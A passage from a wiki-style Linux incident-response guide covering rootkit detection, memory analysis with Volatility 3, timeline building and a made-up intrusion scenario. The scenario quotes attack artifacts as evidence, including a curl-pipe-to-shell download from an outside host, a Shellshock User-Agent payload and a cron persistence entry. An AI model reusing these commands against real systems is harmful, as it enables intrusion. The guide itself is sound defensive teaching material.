* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
